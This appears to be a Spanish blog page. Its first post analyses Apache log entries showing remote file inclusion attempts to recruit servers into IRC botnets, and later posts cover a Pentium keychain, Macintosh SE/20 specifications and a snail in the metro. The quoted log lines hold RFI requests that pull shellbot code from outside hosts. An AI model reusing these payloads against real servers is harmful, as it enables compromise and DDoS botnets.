Anoche un amigo y yo nos aburriamos y ya que ambos tenemos nuestras páginas en un server propio en casita decidimos echarle un ojo a nuestros registros de apache:

# grep txt access.log | grep -v robots

Al resultado de ejecutar esta busqueda aparecieron numerosas peticiones GET con el contenido ‘txt’ en su interior que llamaban a archivos que no estaban en mi directorio web, si no que eran intentos en su gran mayoría de convertir a un host en un zombie para alguna BotNet mediante algun bug RFI.

Las BotNets (o Red de bots o robots) son comunmente servidores bien privados bien públicos de IRC (Internet Relay Chat) que se emplean como HUBs de Zombies que normalmente se encuentran bajo las órdenes del script kiddie mas inútil que puedas encontrarte.

Un Zombie es una máquina que ha sido comprometida y que ejecuta código malicioso a la espera de instrucciones de su dueño (el “hacker”). Los Zombies que suelen conectar y formar BotNets corren un programa script (mayormente perl) que simula ser una persona que se conecta a un IRC específico y que cumple instrucciones de una determinada persona, normalmente identificada por el nick (pseudónimo) o por el host (Dirección IP).

Estos programas reciben el nombre de Shellbot, ya que son Bots que ejecutan instrucciones en la shell de la maquina víctima.A continuación pongo y enlazo mirrors de algunos bots y RFIs para infectar máquinas que he encontrado en la búsqueda anteriormente descrita:

• 201.130.79.46 – - [05/Apr/2008:19:22:03 +0200] “GET /admin/addons/archive/archive.php?adminfolder=http://w0rms.by.ru/ddos.txt? HTTP/1.1″ 404 539 “-” “libwww-perl/5.79″ “-” [mirror] (ShellBot)
• 72.36.179.98 – - [06/May/2008:01:52:29 +0200] “GET /blog/descargas/bot.txt/port.php?content=http://www.cdpm3.com/id.txt? HTTP/1.1″ 404 539 “-” “libwww-perl/5.810″ “-” [mirror] (RFI)
• 77.48.71.72 – - [08/Jun/2008:16:02:10 +0200] “GET /blog/descargas/bot.txt/port.php?content=http://www.onyxclub.ru/administrator/components/com_remository/if.txt? HTTP/1.1″ 404 539 “-” “libwww-perl/5.79″ “-” [mirror] (RFI)
• 69.59.184.132 – - [09/Jun/2008:04:16:18 +0200] “GET //viewtopic.php?p=762//viewtopic.php?p=45339//html&highlight=ü7.include($_GET[a]),exit.ü7&a=http://www.patrioticusa.us/poll/…/test2.txt? HTTP/1.1″ 404 308 “-” “Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)” [mirror] (RFI)
• De leer este archivo (el anterior) sale el texto $url.’superscanner2.txt’, se copia el nombre del archivo en la url quedando http://www.patrioticusa.us/poll/…/superscanner2.txt. [mirror] (ShellBot)

Algunos jaquers infectan directamente con un shellbot, otros ejecutan un php para que luego este último ejecute el shellbot o un deface y los que menos saben programar simplemente suben un único script php como este que les deja ejecutar cuanto quieran siempre que PHP esté mal configurado y que se ve así:

A diario estos ataques se automatizan y se suceden ya que muchos de estos ShellBots actuan como gusanos, se copian en el public_html o www de un servidor al que hayan infectado y acto seguido escanean el mundo en busca de mas víctimas a las que infectar, y lo peor es que la gran mayoría de las botnets existentes se emplean para realizar ataques de denegación de servicio distribuidos (DDoS) por lo que hay que tener cuidado y cuidarse las espaldas si eres administrador de alguna página y/o servidor.

Pues me aburria un rato y como no tenía nada que hacer con este viejo Pentium 4 a 1.7 GHz y 400 MHz de FSB pues le he arrancado las 478 µPatillas con un destornillador plano -como rascando la superficie de las patillas- y hecho un agujero en la esquina que está marcada con la diagonal para pasarle una hebillita y cerrarlo al llavero con la ayuda de una tenacitas.

Si alguien se pregunta ‘¿Pero Karman, ese Pentium funcionaba?’ pues sí, funcionaba perfectamente, pero siendo fríos, hoy en día nadie gasta Pentiums tan lentos.

PD: Hay que ver que época vivimos para llamar lento a un Pentium 4 1.7 GHz y la velocidad a la que avanza la tecnología.

Pequeña joyita que andaba acumulando polvo en el TeSo. Introducido el 2 de Marzo de 1987, fué un avance significativo sobre el hasta entonces modelo mas moderno de la gama Macintosh, el Macintosh Plus. Para empezar, el SE/20 fué el primero en incluir un disco duro interno SCSI de 20Mb o en una segunda version, dos disqueteras.

Además frente a sus Macintosh antecesores, el Macintosh SE/20 usaba el Apple Desktop Bus (ADB) para la conexión de teclado y ratón, que usaría hasta que los iMac los sustituyeran por el USB.

También incluia un Bus de expansión denominado PDS que podia utilizarse para insertar tarjetas de expansión, como aceleradores graficos o de procesador principal.

El interior estaba totalmente hecho de hierro y como sus antecesores, el monitor lo llevaba de serie, lo que explica su gran peso pese a su reducido tamaño e incluia un ventilador para el circuito del monitor interno puesto que el circuito principal -lo que podríamos llamar ordenador- no se calentaba tanto.
Sus especificaciones son:

• Procesador Motorola 68000 a 8 MHz
• Velocidad del bus de sistema de 8 Mhz
• 256 kB de Memoria ROM
• Ancho del bus de 16-bits en el nivel 1
• Soporte de memoria RAM SIMM 30 contactos de 150 ns
• Memoria de video (VRAM) embebida
• 1 MB de memoria RAM de serie, ampliable a 4 MB
• 4 zócalos de memoria RAM en dos pares.
• Disco duro de serie de 20 MB de tipo SCSI
• Disquetera de 3.5″ máximo 800 kB (o dos disqueteras sin disco duro)
• Zócalo de expansión PDS
• Pantalla monocróma de 9 pulgadas
• Mac OS soportado: 2.0–7.5.1, 7.5.3–7.5.5
• Peso de 7.7 kg

Fuente: wikipedia.en

Corrección: Mi Macintosh es un SE 1/20, que se diferencia en el SE/20 en la disquetera, que es una SuperDrive que aguanta discos de 1.4 MB y que fué introducido en Agosto del 1989.

Ayer iba en el Metro de Valencia camino del TeSo cuando al ir a bajarme mirando a la derecha de la puerta encontré esto:

Realmente curioso, un caracol que con la humedad de estas ultimas lluvias se había -desconozco cómo- colado en el metro y estaba ahí, posado sobre una de las papeleras que se encuentran a la derecha de las puertas.